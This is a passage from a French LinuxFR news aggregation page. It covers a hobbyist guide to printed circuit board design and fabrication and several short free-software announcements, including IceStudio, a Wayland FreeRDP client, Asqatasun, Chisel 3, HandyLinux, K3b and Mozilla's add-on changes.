    Le tout est fait avec amour et dans la communauté européenne (Plovdiv, en Bulgarie, la plus ancienne ville d’Europe encore peuplée).

    Lire les commentaires

  • Faites tourner les PCB ! (Dépêches LinuxFR)

    Dans un circuit numérique, il y a toujours une dose d’analogique. Une carte toute faite comme une Arduino, ou une Raspberry Pi, ne suffit pas — ou alors, il faut gérer de la puissance — on doit donc créer une carte.

    Cette carte aura besoin de connecteurs, de composants, d’énergie et d’être réalisée.

    Sommaire

    Le schéma

    Il existe un grand nombre de logiciels pour faire des schémas et les traduire en layout ou pour le dessiner directement. Certains dessinent même directement sur le typon à la main. J’ai vu de magnifiques châssis de téléviseurs à tube haut de gamme, routé à la main, avec des tracés courbes pour limiter les interférences.

    Les logiciels sont parfois pénibles pour le choix des composants, ils demandent une référence précise, rarement présente dans la bibliothèque fournie, quand un composant « générique » suffirait. Le choix de l’empreinte du boîtier pourrait se faire plus tard, en fonction de ce que l’on a sous la main. Cela signifie le plus souvent qu’il faut créer un composant et dessiner ou choisir sa bonne empreinte.

    Parfois l’outil propose de faire des bibliothèques de schémas (par exemple, un IC avec ses capacités de découplage). Attention, si l’outil ne génère pas de schéma « à plat », il sera difficile de savoir à quoi correspond la résistance R25 de la carte.

    Circuit imprimé (PCB)

    Pour réaliser un circuit imprimé — Printed circuit board (PCB) —, il faut convertir le schéma électrique en un schéma d’implantation (layout) en respectant plusieurs contraintes : l’encombrement des composants, leur orientation, les dimensions des pistes, etc.

    Une carte classique est composée d’une feuille d’époxy de quelques millimètres d’épaisseur, ayant une ou deux couches de cuivre. C’est le fameux circuit imprimé ou PCB.
    PCB

    Il n’est pas toujours nécessaire de fabriquer ce genre de carte. Il existe des cartes à trous métallisés ayant des espacements standardisés (2,54 mm comme pour les composants DIP, 1,27 ou 1 mm pour les composants de montage en surface CMS). Les connexions se font avec des morceaux de fil. Si la carte est complexe, cela peut être long et fastidieux à souder, mais cela ne nécessite pas d’outillage particulier, en dehors d’un fer à souder et de l’huile de coude.

    Cela ressemble aux anciennes cartes « wrappées ». Les composants étaient mis sur des supports ayant des pattes longues. Des fils étaient enroulés autour de ces pattes pour les relier. On se retrouvait ainsi avec une grosse couche de fils sous la carte.
    wrap— Carte wrappée – Wikinaut - Wikipédia

    Ce genre de cartes peut poser un problème de fiabilité, à cause du nombre de soudures ou de contacts. Mais les fils sont plus courts que les lignes d’un circuit imprimé, de plus les traces sont parallèles alors que les fils s’entrecroisent de façon anarchique. Ainsi, comparés aux circuits imprimés, le bruit et les parasites sont inférieurs sur les cartes utilisant des fils. Les cartes de tests peuvent alors avoir de meilleurs performances analogiques.

    Le dessin du layout

    Pour faire ces cartes, qu’il s'agisse de cartes de test à souder, ou du routage d’un schéma sur Kicad, il s’agit de placer les composants en premier, en choisissant l’emplacement des connecteurs puis le reste. Il est souhaitable de disposer de façon systématique les composants pour éviter les erreurs de soudure (soudure tête bêche), on peut faire en sorte que les inscriptions des composants se lisent toutes dans le même sens, par exemple.

    Pour router les fils, on commence en général par le +, qui doit rester au centre de la carte, la masse est plutôt à l’extérieur, en étoile, sans boucle. Cela évite les catastrophes en cas de contact avec un châssis métallique, ou avec les vis de fixation au châssis. La piste + peut être faite un peu plus large que le reste, pour la remarquer plus facilement. Il faut une grosse intensité pour avoir besoin de pistes larges pour limiter les pertes ohmiques. Mais dans ce cas, la piste de la masse a aussi besoin d’être plus large (2,5 à 5 A par millimètre de large, pour du cuivre classique de 35 µm d’épaisseur).

    Les problèmes liés à la fréquence arrivent avec des signaux de 10 MHz et plus, pour des signaux numériques (1 MHz pour l’analogique, il ne faut pas oublier les harmoniques). Au‐delà de 10 MHz, il faut tenir compte de beaucoup de paramètres, comme les retours de masse, les capacités parasites entre pistes proches, les effets inductifs, le fait que le signal avance à un peu plus de 10 cm/ns. Donc, sur un signal d’une fréquence de 1 GHz, vous pouvez voir un « ventre » ou un « creux » sur une piste de 10 cm. Il s’agit presque de la vitesse de la lumière. C’est toujours surprenant de ne pas considérer cette vitesse comme infinie.

    Les signaux analogiques nécessitent un grand soin, selon la précision voulue : une variation de 1 mV étant significative (convertisseur analogique‐numérique à 12 bits pour des signaux de 3,3 V max), une interférence peut perturber les résultats de la mesure. L’audio, par exemple, manipule des µV.

    Il est intéressant de limiter la longueur des pistes et de limiter le nombre de trous. Cela augmente la fiabilité de la carte et diminue le nombre de trous à percer. Cette phase d’optimisation n’est pas à négliger, en cas de modification manuelle de la carte. On évite de se demander pourquoi une piste semble faire trois fois le tour.

    Il ne faut pas faire des pistes fines sans besoin. Les pistes épaisses tiennent mieux à l’époxy, s’il faut ressouder un composant ou faire un trou pour en ajouter un, ou pour ajouter un composant CMS entre deux pistes proches, pour rajouter un condensateur de découplage, par exemple. Il est plus fiable de réduire la largeur d’une piste pour passer entre deux pads, que d’avoir une piste fine en continu.

    Une petite LED, dans un coin, pour visualiser la présence de l’alimentation, évite de perdre du temps en débogage. Une autre peut servir dans une carte à microcontrôleur, quand rien ne semble marcher, pour la faire clignoter.

    Les connecteurs

    HE10— Connecteurs HE10 (pas de 2,54 mm) 20 broches, mâle pour PCB et femelle auto‐dénudant pour une nappe

    C’est souvent le composant négligé par le hobbyiste, car il est rapidement coûteux. On soude directement les câbles sur les cartes. Malheureusement, la soudure les raidit et ils finissent toujours par casser (non, pas toujours, juste quand il ne fallait pas ;-)). On peut solidifier la soudure avec un serre‐joint sur le fil, passant dans deux trous faits sur la carte, mais cela prend plus de place.

    On découvre ensuite que les connecteurs à vis sont tout de même bien pratiques. Ils sont peu coûteux et laissent passer beaucoup de courant. Et puis, un jour, malgré le signe + métallisé et les points de couleur noire et rouge, on branche la batterie à l’envers. La diode de protection conduit, mais le fusible ne fond pas assez vite et toute l’électronique de puissance y passe, ou explose littéralement (vécu, avec une série de 7805).

    Il faut donc, de préférence, des connecteurs avec détrompeur. Il faut aussi des câbles (avec les connecteurs) « standards » : cela évite les catastrophes quand on intervertit deux câbles ayant les mêmes connecteurs, mais avec le câblage croisé.

    Les connecteurs ont plusieurs caractéristiques : le nombre de points de connexion, l’intensité du courant maximal, la tension maximale, mais aussi la tenue mécanique de la connexion contre les vibrations, le nombre de connexions‐déconnexions prévues (certains connecteurs ne tiennent plus au‐delà d’un certain nombre assez faible).

    Je remarque trois besoins typiques pour les connecteurs : les nappes pour connecter les cartes numériques entre elles, les connexions pour l’alimentation et la puissance, et les connexions des capteurs et/ou effecteurs (contacteur, servomoteur peu puissant…).

    Il existe une infinité de connecteurs différents, à des prix très différents également. Pour la puissance (batterie ou moteur), j’aime bien les connecteurs type « molex » : ceux que l’on trouve dans les PC. Ils sont bon marché, tiennent mécaniquement, et laissent passer beaucoup de courant.

    Concernant les données, les connecteurs de type HE10, qui s’utilisent avec des nappes du genre de l’IDE 33 (oui, je suis vieux), sont assez pratiques. On trouve bien mieux en termes de densité, mais ceux‐ci sont plus faciles à souder. Il ne faut pas oublier qu’un fil de données ne supporte pas plus de 1 A, mais on peut toujours faire plusieurs lignes d’alimentation et de masse (attention, cela fonctionne toujours par paire, il ne faut pas oublier le retour du courant par la masse).

    Attention aux connecteurs RCA, les connecteurs ronds utilisés en audio, ils ne sont pas construits pour être défaits souvent, et finissent par ne plus tenir. De plus, n’étant pas conçus pour la puissance, il n’est pas souhaitable d’y faire passer plus de 1 A. Donc, c’est à oublier comme connecteur de batterie.

    Mais pourquoi utiliser des connecteurs ?

    Si vous le pouvez (une carte numérique, au lieu de deux) et si vous avez le choix, je vous conseille de tout mettre sur la même carte. Pas de connecteur est toujours plus fiable. De plus, cela simplifie le routage de la carte. On évite plein de fils qui se dirigent vers le même endroit : le connecteur de nappe.

    Méfiez‐vous de la fausse réutilisation, qui coûte cher en temps de travail, mais qui ne servira jamais, surtout si vous êtes contraint par l’espace, donc par la taille et la forme des cartes. La réutilisation de schéma permet de faire déjà beaucoup de choses.

    Pour les capteurs, il existe beaucoup de connecteurs linéaires au pas de 2,54 mm (le DIP standard), jusqu’à une dizaine de connexions à fils. Les contacteurs, comme les switches mécaniques, ont des plots à souder : il n’est donc pas possible d’utiliser une nappe classique.
    microswitch—Switch mécanique

    Je vous conseille les connecteurs qui disposent de systèmes auto‐dénudant. Les autres systèmes imposent de souder chaque fil, à un bout de métal minuscule, avant d’être introduits dans un support plastique. Cela peut représenter un gain de temps précieux et une plus grande fiabilité : on rentre tous les câbles, puis on clippe un support et c’est terminé.

    Évitez aussi d’avoir plusieurs types de connecteurs vaguement compatibles, vous n’aurez jamais les bons câbles sous la main, ou alors les connecteurs entrés en force pourraient abîmer les connecteurs mâles des PCB, voire les contacts seraient mauvais, ce qui introduit des pannes aléatoires. Vous ne voulez pas de pannes aléatoires.

    Il est aussi possible d’acheter un rouleau de petites nappes (avec chaque fil qui se sépare) et les connecteurs qui vont avec, pour être le plus « standardisé » possible.

    Du simple câble réseau doit pouvoir faire l’affaire. Il faut, en revanche, avoir l’outil pour sertir correctement les fils dans les connecteurs RJ45. Dans le cas d’usage d’un câble blindé, il faut respecter la règle de répartition en étoile, et ne surtout pas faire de boucle de masse (cela génère beaucoup de parasites, par induction) et donc ne connecter le blindage que d’un coté du câble. La dernière précaution est de ne pas mélanger les connections avec celles d’un réseau Ethernet, au risque de griller quelque chose.

    Support de circuit intégré (IC)

    Un support n’est pas toujours nécessaire pour les composants, même complexes, comme les circuits intégrés. On veut souvent facilement changer un composant grillé, mais un tel support peut être plus coûteux que le composant lui‐même. Il est souvent possible de dessouder deux ou trois fois un composant avant d’abîmer les pistes.

    Il est aujourd’hui facile de prévoir deux broches de programmation. Le temps où il fallait un programmateur d’EEPROM, produisant du 12 V pour les microcontrôleurs, est révolu.

    Les radiateurs

    Les radiateurs permettent d’évacuer la chaleur produite par un composant de puissance. Le but est d’éviter la destruction du composant par augmentation de la température, ou sa coupure par mise en sécurité.

    Pour des questions de solidité, il vaut mieux que celui‐ci soit vissé à la carte, au lieu de simplement tenir sur le composant. Ces radiateurs sont souvent en matériau conducteur, les bons conducteurs thermiques étant souvent de bons conducteurs électriques. Or, la plupart des éléments de puissance ont une de leurs pattes connectée à la partie métallique de leur boîtier.

    Attention à la proximité de plusieurs composants type TO-220, dont une partie du boîtier est métallique et conductrice. Attention aussi au contact avec un châssis, souvent relié à la masse.

    Il ne faut pas oublier non plus que du cuivre sur le PCB peut être utilisé dans une certaine mesure, comme dissipateur thermique.

    Un gros radiateur coûte cher. Un radiateur de processeur de PC est construit pour évacuer une centaine de watts de chaleur, cela peut être un très bon compromis efficacité/prix. Mais si vous avez besoin de dissiper autant de chaleur, il faudrait plutôt repenser la fonction.

    Les batteries

    Il existe plusieurs sortes de batteries. Les différences se situent sur le poids par rapport à l’énergie embarquée, mais aussi sur la quantité de courant maximum que l’on peut tirer et leurs fragilités.

    La batterie au plomb est la plus ancienne technologie. On en trouve de 6 ou 12 V avec des charges différentes. Cette charge s’exprime en Ah (Ampère fois des heures et non par heure). Une batterie 2 500 mAh, peut débiter 1 125 mA pendant 2 h ou 10 A pendant 15 minutes.

    Une batterie au plomb peut se charger avec une alimentation de labo, dont on utilise la limitation en courant. En général, on charge en 1 h ou plus pour ne pas user la batterie. Une batterie de 2 500 mAh, se charge donc avec un courant de 2,5 A pendant une heure ; voire, si on a le temps, avec un courant de 250 mA pendant 10 h (une nuit). Une charge lente évite la surchauffe, et la fait durer plus longtemps.

    Une batterie au plomb peut fournir 10 C sans problème. Cela veut dire qu’une batterie au plomb de C = 2 500 mA.h, peut fournir 25 A.

    Les piles rechargeables actuelles ont fait beaucoup de progrès pour supprimer l’effet mémoire. L’auto‐décharge a aussi baissé. Il y a quelques années une pile rechargeable pouvait se vider toute seule en six mois. Une pile rechargeable fournit 1,2 V (et non 1,5 V comme les piles alcalines), ce qui peut être pénalisant pour réaliser des tensions de 12 V (10 modules).

    Il n’est pas conseillé de faire débiter plus de 1 C à des batteries AA, sous peine de les user très vite, car elles chauffent. Attention aussi à la recharge, un accumulateur Ni‐Cd oublié sur une alimentation finit par dégager une fumée blanche irritante, très désagréable (vécu). Les piles rechargeables Ni‐Cd sont aujourd’hui difficilement trouvables (voire interdites en UE). Il vaut mieux utiliser un vrai chargeur dédié. Les piles rechargeables NiMH sont moins nocives.

    Il existe aussi des accumulateurs lithium‐ion, des modules de 3 V, que l’on trouve dans les batteries des ordinateurs portables. La densité d’énergie est encore plus élevée. On peut récupérer quelques modules fonctionnels, dans une batterie de portable « morte ».

    Il existe les batteries au lithium‐polymère, qui sont une version plate du modèle précédent. La batterie peut prendre toute sorte de formes. Sa densité énergétique est élevée. Ce genre de batterie est notamment utilisé en aéromodélisme. En revanche, une telle batterie peut s’enflammer en cas de gros choc. Vous pouvez trouver sur Internet des photos de sièges automobiles brûlés, après que des modélistes aient oublié leur batterie en train de charger, sur l’allume‐cigare.

    Si vous oubliez une batterie sur une alimentation de laboratoire et que vous dépasser son temps de charge, elle va chauffer d’autant plus que le courant est fort. La chaleur diminue la durée de vie de la batterie, voire celle‐ci peut s’enflammer.
    fusible— Des fusibles souvent utilisés pour protéger une carte

    Les circuits imprimés (PCB)

    Un circuit imprimé ou PCB est le support des composants. Il existe deux méthodes de fabrication, par fraiseuse ou par insoleuse. Par fraiseuse, l’outil retire mécaniquement le cuivre en dehors des pistes du circuit.

    Par insoleuse, une plaque d’époxy est couverte de cuivre et de résine photosensible. Un masque (typon) est posé dessus et le tout est mis dans une insoleuse. La résine soumise aux UV de l’insoleuse est ensuite retirée par un bain, seule reste la résine sous le masque, puis la plaque est plongée dans un acide. Le cuivre non protégé est dissous.

    Pour faire un double face, il faut utiliser une plaque ayant du cuivre des deux côtés. Pour plus de faces, les plaques sont collées entre elles. Il existe des PCB à plus de 12 couches (le maximum que j’ai vu est 24).

    Il existe une grande quantité d’information disponible sur Internet pour savoir comment réaliser cela en pratique. Une grande partie de la qualité du résultat dépend du masque, les résines étant très (très) précises.

    Le masque est souvent réalisé, avec une impression sur un transparent. Or, si l’on regarde un transparent à la loupe, on voit une série de fissures, dans les traits normalement opaques. On retrouve toutes ces micro‐fissures sur les pistes de cuivre. Si la piste est trop fine, cela peut introduire des coupures. Ces coupures peuvent être réduites en utilisant des pistes assez larges, ou bien en repassant un peu de soudure (c’est fastidieux).

    Le résultat peut être amélioré en opacifiant les zones noires du transparent avec un feutre. Il semblerait que les transparents faits avec une imprimante jet d’encre, soient plus efficaces qu’avec une imprimante laser. Certaines personnes ont déjà modifié une imprimante jet d’encre, pour remplacer les trois encres couleur par de l’encre noire, pour avoir un noir plus profond. Il est aussi possible d’utiliser 2 transparents superposés.

    On peut faire faire un circuit imprimé sur Internet pour moins de 100 €. Les tirages coûtent en fonction de la surface d’époxy, ou alors le prix est celui du grand panneau d’époxy utilisé à la base, qui peut permettre de faire un certain nombre de plaques à la fois. Les fabricants les moins chers limitent aussi le nombre de types différents de trous qui entraînent des changements d’outils. La finesse des pistes est aussi un paramètre à prendre en compte : est‐il possible de faire passer deux fils entre les deux pattes d’un composant DIP ou un seul ?

    Les composants traversants tel qu’on les connaît, ont tendance à être remplacé par les CMS. Il est très facile d’utiliser les composant 0805 et plus. Cela veut dire 0,8 mm × 0,5 mm. Il existe aussi des 1206. Le 0604 est, en revanche, plus difficile à souder. Les composants CMS évitent beaucoup de trous, c’est intéressant si l’on doit les faire soi‐même.

    En résumé, concevoir et souder un PCB CMS n’est pas si complexe, la production de la carte elle‐même peut l’être un peu plus.

    Vous pouvez reprendre une activité normale (comme regarder les réseaux sociaux).

    Merci à BAud, Yves Bourguignon, kantien, palm123, pulkomandy, gusterhack pour leur relecture.

    Lire les commentaires

  • Icestudio 0.2, du schéma au verilog (Dépêches LinuxFR)

    IceStudio est un logiciel graphique permettant de concevoir un design FPGA à la manière d’un schéma électronique. Le logiciel est encore largement expérimental et centré sur les FPGA ice40 de chez lattice. Écrit en JavaScript autour de Nodejs, le logiciel permet de dessiner son projet au moyen de blocs reliés entre eux par des signaux.

    IceStudio est sous licence GPLv2.

    NdM : à noter, ce projet bénéficie d'un soutien du fabricant espagnol BQ (connu également pour fournir des matériels avec Ubuntu pré-installée)

    icestudiocrono

    IceStudio se veut une extension graphique au projet IceStorm (chaine de synthèse/place&route/bitstream opensource), qui a été développé par ingénierie inversée. Voir la présentation du projet lors du 32C3. Le projet IceStorm est composé de trois logiciels distincts : IceStorm, Arachne-PnR pour construire le routage des signaux, et Yosis permettant de synthétiser/compiler le verilog.

    Les blocs peuvent être pris dans une bibliothèque fournie avec le logiciel, mais il est également possible de créer des blocs «vierges» dans lesquels on écrira le code verilog correspondant au comportement souhaité.

    Le format de sauvegarde du projet est en JSON, un outils de conversion permet ensuite de le transformer en code Verilog pour la synthèse.

    icestudioinspection

    Le projet est encore jeune mais très prometteur. Espérons que nous verrons rapidement l’intégration de nouvelles plateformes/FPGA.

    Lire les commentaires

  • wlfreerdp: un client Wayland pour FreeRDP (Journaux LinuxFR)

    Cher journal,

    Je viens d'implémenter un client Wayland pour FreeRDP.

    Comme tu le sais peut-être, RDP (ou Remote Desktop Protocol) est un protocole d'accès distant plus performant que VNC et consorts. Il est notamment implémenté par un serveur X intégré à FreeRDP (xfreerdp-server) et le compositeur RDP de Weston.

    Nous avions des clients X11, Android, Mac OS X, Windows… mais une version pure Wayland, ne nécessitant pas XWayland, manquait ! Alors bien sûr, ce n'est qu'un visionneur pour l'instant, mais je prévois de gérer les entrées bientôt :-) !

    Voic la pull request et une vidéo (Weston vers Weston), !

    PS : personnellement, je ne builde pas la dernière version mais une ancienne qui marche bien pour moi, en voici la branche.

    Lire les commentaires

  • Sortie de Asqatasun v4.0: audit accessibilité web & SEO (Dépêches LinuxFR)

    Asqatasun est un moteur d'audit de pages web (licence AGPL). Il inclus un crawler permettant de scanner des dizaines de milliers de pages.

    Développé en Java/Spring et s'appuyant sur des briques Selenium (Web Driver), le bébé pèse ~500 000 lignes de code. Asqatasun est traduit en 3 langues (français, anglais, espagnol) et la traduction en russe est en cours.

    Logo Asqatasun

    Mesures (les tests effectués)

    • Accessibilité web (#a11y) sur le référentiel RGAA version 3 (utile pour les sites publics).
    • Référencement naturel (#seo).

    Continuous Integration / Continuous Delivery

    Asqatasun s'insère dans une chaîne d'intégration continue grâce à son plugin Asqatasun Jenkins. Il est possible de mesurer toutes les nuits l'accessibilité ou le SEO de son site / son application, et de voir les courbes d'évolutions.

    Caractéristiques

    • Automatisation,
    • Fiabilité des tests (important particulièrement pour l'accessibilité),
    • Hackable: créer ses tests perso, en s'appuyant sur la bibliothèque d'utilitaires d'Asqatasun.

    C'est quoi ce nom !?

    • Asqatasun existe depuis 2007, il est le fork de Tanaguru par ses créateurs. Asqatasun vient du basque et signifie liberté.

    Nouveautés de la version 4.0

    • Images Docker : docker pull asqatasun/asqatasun.
    • Rôles Ansible.
    • Tests SEO (en beta).
    • Nouvelle documentation.
    • Nombreuses corrections de bugs.

    Nous avons besoin de vous !

    Tu veux aider à améliorer Asqatasun ? Bienvenue, tapis rouge, champagne !

    • Mesure tes sites avec Asqatasun (ceux des autres aussi tu peux :) ).
    • Partage tes retours dans le forum.
    • Améliore les tests SEO : viens, compile, code et cause sur le forum.
    • Aide à traduire Asqatasun.

    Lire les commentaires

  • Sortie de Chisel 3, un langage de description matériel basé sur Scala (Dépêches LinuxFR)

    Jonathan Bachrach vient de l’annoncer sur la liste de diffusion chisel-user : le premier instantané de Chisel 3 est officiellement sorti.

    Chisel est un langage de description matériel (HDL) basé sur le langage Scala. Le langage n’étant pas reconnu par les principaux logiciels de synthèse, il génère du langage Verilog synthétisable à la « compilation ».

    Sommaire

    Qu’est‐ce que Chisel ?

    C’est un langage libre développé et soutenu par l’université de Berkeley (UCB). Université bien connue pour avoir « lancé » pas mal de standards libres d’aujourd’hui (pour rappel, BSD signifie Berkeley Software Distribution, soit collection de logiciels de Berkeley).

    Contrairement à VHDL et Verilog — les deux langages de description de matériel (HDL) considérés comme standards dans le monde du FPGA et des ASIC —, Chisel est un langage synthétisable et synchrone par construction. Ce qui signifie qu’une architecture décrite correctement (sans alertes) avec Chisel sera synthétisable directement.
    Chisel est également un langage synchrone, tous les changements d’états se font donc au rythme d’une horloge globale qui est implicite par défaut. Il existe cependant des stratégies de changement de domaines d’horloges pour les circuits complexes.

    Chisel fait partie de ces nouveaux langages de description de matériel que l’on pourrait qualifier de SSHDL — pour Synchronous Synthesizable Hardware Description Language —, dont font partie également Migen, Cλash et SpinalHDL.

    Passage de Chisel 2 à Chisel 3

    La grosse différence entre Chisel 2 et Chisel 3 est l’utilisation d’un langage de netlist — on parle généralement de langage RTL — intermédiaire nommé FIRRTL entre la description en Chisel et le Verilog généré.

    Chisel 2 comportait un certain nombre de backends qui permettaient de transformer le programme Chisel en Verilog, modèle C++ ou SystemC pour la simulation. Avec Chisel 3 la génération de ces backends a été abandonnée. Chisel 3 ne génère que du FIRRTL, FIRRTL génère à son tour du Verilog. Et la génération du modèle C++/SystemC a été déléguée à l’excellent Verilator histoire de mutualiser les efforts de développement. Ce qui nous donne la chaîne de développement suivante :

    Chisel3 -> FIRRTL -> Verilog |-> C++/SystemC
                                 |-> simulation
                                 |−> synthèse
    

    Petit exemple Chisel

    La documentation de Chisel donne comme exemple le calcul de PGCD au moyen de l’algorithme d’Euclide. Cet exemple permet de trouver le PGCD des deux entiers a et b donnés en entrée. La sortie se présente ensuite comme un entier sur 32 bits z et la sortie de validation v permet de signaler la fin du calcul.

        import chisel3._
    
        class GCD extends Module {
          val io = IO(new Bundle {
            val a  = Input(UInt.width(32))
            val b  = Input(UInt.width(32))
            val e  = Input(Bool())
            val z  = Output(UInt.width(32))
            val v  = Output(Bool())
          })
          val x = Reg(UInt.width( 32))
          val y = Reg(UInt.width( 32))
          when (x > y)   { x := x -% y }
          .otherwise     { y := y -% x }
          when (io.e) { x := io.a; y := io.b }
          io.z := x
          io.v := y === 0.U
        }

    On remarque le bundle d’entrée‐sortie io = IO(new Bundle {}) permettant de déclarer les différents ports du module. Ce qui marque d’emblée, c’est l’absence d’entrée clk. C’est justement parce que c’est un langage synchrone que l’on ne voit pas l’horloge, elle sera générée à la « compilation » en FIRRTL (*.fir), puis en Verilog (*.v).

    La base de la logique synchrone de Chisel est le registre Reg(). Ça n’est rien d’autre qu’une bascule D Qui recopie sa valeur d’entrée sur la sortie sur front montant de l’horloge, ce qui permet de synchroniser des valeurs d’entrée qui n’arriveraient pas en même temps et de présenter ces valeurs au prochain cycle d’horloge.

    La connexion du registre avec les signaux d’entrée‐sortie se fait ensuite avec le symbole de connexion « := ».

    On retrouvera tous les noms des signaux déclarés en Chisel dans le code Verilog généré. Ce qui permet un débogage plus facile et une simulation avec tous les simulateurs du marché.

    Voici l’en‐tête Verilog généré par Chisel pour le module GCD :

    ...
    module GCD(
      input   clock,
      input   reset,
      input  [31:0] io_a,
      input  [31:0] io_b,
      input   io_e,
      output [31:0] io_z,
      output  io_v
    );
      reg [31:0] x;
      reg [31:0] GEN_4;
      reg [31:0] y;
      reg [31:0] GEN_5;
    ...

    Deux signaux d’entrées ont été ajoutés au module : ce sont l’horloge (clock) et la réinitialisation (reset). La conception étant synchrone, l’horloge est implicite et n’est ajoutée qu’au moment de générer le code synthétisable.

    Comme Scala est un langage objet, il est possible de faire hériter le module GCD pour factoriser du code générique. Il est également possible d’instancier le module dans un module de niveau supérieur et de connecter ses entrées‐sorties avec d’autres modules.

    D’une manière générale, l’utilisation d’un langage générique comme Scala pour définir un langage HDL permet de faire un code moins verbeux et décuple les possibilités de création et de développement HDL.

    Chisel 3, tout comme ses concurrents Migen, Cλash et autre SpinalHDL sont désormais mûrs pour être utilisés dans de vrais projets industriels. C’est d’ailleurs la base du processeur RISC-V sodor et rocket-chip.

    Pourtant, les SSHDL ne sont pas encore enseignés dans les universités qui continuent à former sur VHDL en Europe et Verilog aux États‐Unis.

    Il est temps de passer à des langages HDL de plus haut niveau et de considérer VHDL/Verilog comme l’assembleur des FPGA et ASIC !

    Lire les commentaires

  • HandyLinux 1.7 est disponible et adopte le navigateur Iceweasel (Dépêches LinuxFR)

    HandyLinux, dérivée officielle de Debian pour les grands débutants en informatique, embarquait depuis sa version 1.0 le navigateur web Chromium, choisi pour ses fonctions d'accessibilité. La grande nouveauté de la version 1.7 publiée le 19 octobre 2014 est le passage à Iceweasel comme navigateur web par défaut. Iceweasel est directement issu des dépôts Mozilla, ce qui permet d'intégrer la version "Iceweasel-release", actuellement iceweasel-33.

    HandyLinux-1.7 arrive aussi avec le HandyMenu-2.3 qui voit disparaître le bouton facebook au profit d'un lien direct vers les services libres Framasoft : HandyLinux s'associe à la campagne Dégooglisons Internet !

    (NdM : la capture ci-dessous, comportant d'autres solutions centralisées, montre qu'il s'agit d'une première étape ou bien d'un choix supplémentaire offert à l'utilisateur)

    HandyLinux-handymenu-internet

    Comme les versions précédentes, HandyLinux-1.7 est distribuée sous deux branches : 486 (pour les anciens ordinateurs) et 686-pae (pour les ordinateurs modernes).

    Changelog HandyLinux-1.6.1 -> 1.7 :

    • passage à Iceweasel-release comme navigateur par défaut ;
    • refonte de la page de démarrage internet Handylinux startpage ;
    • ajout de gpart pour la récupération de données depuis Gparted ;
    • ajout de yelp pour l'aide directe des logiciels Gnome ;
    • nettoyage de la documentation intégrée en fonction de la langue après installation ;
    • mise à jour du handymenu : remplacement du bouton Facebook par Framasoft ;
    • ajout des "lanceurs sociaux" permettant de glisser directement les liens sociaux (G+, FB; Tw…) depuis la liste des applications ;
    • ajout du lanceur Diaspora ;
    • ajout du firmware-ralink ;
    • réduction de la fenêtre d'accueil pour les netbooks ;
    • ajout d'un thème Tron xfwm4 ;
    • mises à jour Debian-7.7.

    Afin de vous faire profiter au mieux de votre nouveau navigateur, une série d'addons a été intégrée.

    Les plugins de base installés et activés par défaut :

    • adblock-edge pour les pubs ;
    • video download helper pour les vidéos youtube ;
    • gnotifier pour les notifications firefox sur le bureau ;
    • google search image dans le menu ;
    • google translator pour firefox ;
    • print pages to pdf pour créer un pdf avec tous les onglets ouverts ;
    • showcase pour une gestion simplifiée et visuelle des onglets ;
    • tab badge pour une alerte sur les onglets ;
    • tabscope pour un aperçu des onglets au survol du pointeur ;
    • turn of the lights pour un visionnage aisé des vidéos ;
    • youtube allhtml5 pour le HTML5 partout sur youtube ;
    • scroll progress pour indiquer le pourcentage de la page.

    Les plugins d'accessibilité installés mais désactivés par défaut :

    • font & size changer pour modifier l'apparence des sites ;
    • image zoom pour un zoom spécifique des images dans le menu contextuel ;
    • tranquility pour faciliter la lecture ;
    • blank your monitor & easy read pour les soucis de vue ;
    • color full tabs pour une visibilité colorée des onglets ;
    • foxvox pour la synthèse vocale ;
    • fxkeyboard pour le clavier virtuel ;
    • new scrollbar pour modifier l'apparence des barres de défilement.

    Passage à Iceweasel…

    Qu'est-ce qu'on y perd  ? La reconnaissance vocale lors de la recherche Internet, mais pas pour longtemps grâce à pocketvox !

    Qu'est-ce-qu'on y gagne ? Même si Chromium est un fork libre de Google Chrome, il utilise les outils Google. Les activités et la politique générale de Google sont de moins en moins compatibles avec l'idée que l'on se fait d'Internet et de ses outils (voir article sur la dégooglisation d'internet). Iceweasel, la version "démarquée" de Firefox pour Debian, est issue de la fondation Mozilla, acteur essentiel du monde du logiciel libre. Pour répondre simplement, on y gagne notre liberté :)

    Lorsque vous aurez installé cette distribution complète pour les tâches ordinaires, vous pourrez passer à Debian en une minute avec Handy2Debian.

    Lire les commentaires

  • K3b, le logiciel de gravure de KDE est toujours en vie (Journaux LinuxFR)

    Un rapide journal pour vous informer que k3b (KDE Burn Baby Burn), le logiciel de gravure de CD/DVD/Blu-ray de KDE, est toujours en vie. La dernière version (2.0.2) avait été publiée le 15 janvier 2011. C'est donc plus de 3 ans et demi après la dernière version que Albert Astals Cid a annoncé la sortie d'une version 2.0.3. Le site officiel n'a pas encore été jour car Albert n'y a pas accès.
    Logo de KDE
    On trouvera au menu de cette nouvelle version essentiellement des corrections de bogues. La nouvelle version corrige ainsi certains problèmes de compilation ainsi que certains crashs. Une liste des bogues corrigés est disponible ici.

    Lire les commentaires

  • La fin du "permissive add-on model" chez Mozilla, ou comment flinguer une base d'extensions (Journaux LinuxFR)

    Chez moi, on est encore vendredi alors je me permets ce journal plaignard.

    Après plusieurs controverses impliquant la signature obligatoire des extensions, Mozilla a publié un billet de blog sobrement intitulé "L'avenir des extensions sous Firefox". On y revient d'abord sur divers aspects—le billet confirme au passage que la signature des extensions sera obligatoire et non contournable à partir de Firefox 42—mais, surtout, on en vient à une section intitulée Deprecation of XUL, XPCOM, and the permissive add-on model. Pour le profane, tout ça peut sembler du jargon technique peu compréhensible, mais ça a d'énormes conséquences pour Firefox et toutes ses extensions. Si je peux me permettre de résumer (il y aurait de quoi écrire un article pour chacun des points suivants, vous me pardonnerez la concision) :

    1. Toute l'interface de Firefox est basée sur XUL (une description XML de l'interface), agrémenté de javascript et de diverses technologies pour gérer les aspects évènementiels et de passage de message.
    2. Les modules externes (add-ons) sont aussi écrits en utilisant ces langages, et peuvent donc largement modifier l'interface—en gros, ils peuvent à peut près tout changer dans l'interface et s'interfacer directement avec le moteur de rendu.
    3. Ce modèle de développement rend les extensions dépendantes de chaque version du navigateur (encore aujourd'hui, à chaque mise à jour, Firefox doit "vérifier la compatibilité des extensions") et force les développeurs de Firefox à jouer des pieds et des mains pour ne pas trop casser les extensions populaires. Les extensions peuvent aussi facilement faire crasher Firefox.
    4. En corolaire du point précédent, certains projets sont très difficile à mettre en oeuvre, puisqu'ils imposent un changement radical dans la conception de l'interface. On peut par exemple penser au projet Electrolysis, qui stagne depuis un bon moment déjà.
